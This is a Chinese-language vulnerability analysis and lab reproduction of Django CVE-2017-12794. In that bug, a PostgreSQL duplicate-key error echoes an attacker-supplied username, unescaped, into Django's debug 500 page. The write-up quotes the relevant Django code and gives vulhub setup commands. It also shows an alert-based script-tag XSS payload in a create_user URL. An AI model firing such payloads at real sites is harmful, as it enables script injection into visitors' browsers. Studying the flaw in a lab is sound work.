漏洞原理
若Django
项目使用Postgres
作为数据库,当触发异常时,psycopg
会将字段名及字段值抛出,当字段值中包含可控字符串时,其最后便会在页面中进行显示。
我们可查看1.11.4
和1.11.5
版本之间django/views/templates/technical_500.html
文件的差异:
其差异在于外部关闭了全局转义,并在如图所示处增加了强制转义。若要触发这两个输出点,我们需要进入{% ifchanged frame.exc_cause %}{% if frame.exc_cause %}
语句,那么就需要我们判断这段代码所在的功能点,然后精准打击,图中有一串The above exception was the direct cause of the following exception:
报错提示,而依据经验的话这是Django
中数据库异常抛出的错误语句。
在Django
命令行下,当创建一个已存在的用户时,系统会因触发数据库Unique
异常而抛出一个IntegrityError
异常,其目的在于方便开发者进行SQL
错误调试。
查看django/db/utils.py
的__exit__
函数:
def __exit__(self, exc_type, exc_value, traceback):
if exc_type is None:
return
for dj_exc_type in (
DataError,
OperationalError,
IntegrityError,
InternalError,
ProgrammingError,
NotSupportedError,
DatabaseError,
InterfaceError,
Error,
):
db_exc_type = getattr(self.wrapper.Database, dj_exc_type.__name__)
if issubclass(exc_type, db_exc_type):
dj_exc_value = dj_exc_type(*exc_value.args)
dj_exc_value.__cause__ = exc_value
if not hasattr(exc_value, '__traceback__'):
exc_value.__traceback__ = traceback
# Only set the 'errors_occurred' flag for errors that may make
# the connection unusable.
if dj_exc_type not in (DataError, IntegrityError):
self.wrapper.errors_occurred = True
six.reraise(dj_exc_type, dj_exc_value, traceback)
exc_type
是异常,若其类型为DataError,OperationError,IntegrityError,InternalError,ProgrammingError,NotSupportedError,DatabaseError,DatabaseError,InterfaceError,Error
之一的话则会抛出一个同类型的新异常,并将__cause__
和__traceback__
设置为exc_value
和traceback
,前者是上一个异常的说明,后者是上一个异常的回溯栈。也就是说django/db/utils.py
的__exit__
函数将上一个异常和当前的新异常进行关联,最后在500页面输出__cause__
。
影响版本
Django 1.10.8
之前及Django 1.11.5
之前的Django 1.11.x
版本。
漏洞复现
git clone https://github.com/vulhub/vulhub.git
cd vulhub/django/CVE-2017-12794
docker-compose up -d
- 注册用户名为
<script>alert(oopsdc)</script>
的用户。 - 再次注册
<script>alert(oopsdc)</script>
用户。 - 触发
duplicate key
异常,触发XSS
漏洞。
访问http://<ip>:8000/create_user/?username=<script>alert(oopsdc)</script>
,页面回显用户创建成功:
Hello, user has been created!
再次访问http://<ip>:8000/create_user/?username=<script>alert(oopsdc)</script>
,触发异常弹窗。
Postgre
抛出异常为:
duplicate key value violates unique constraint "xss_user_username_key"
DETAIL: Key (username)=(<script>alert(oopsdc)</script>) already exists.
异常被拼接进The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception
并触发XSS
。
文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。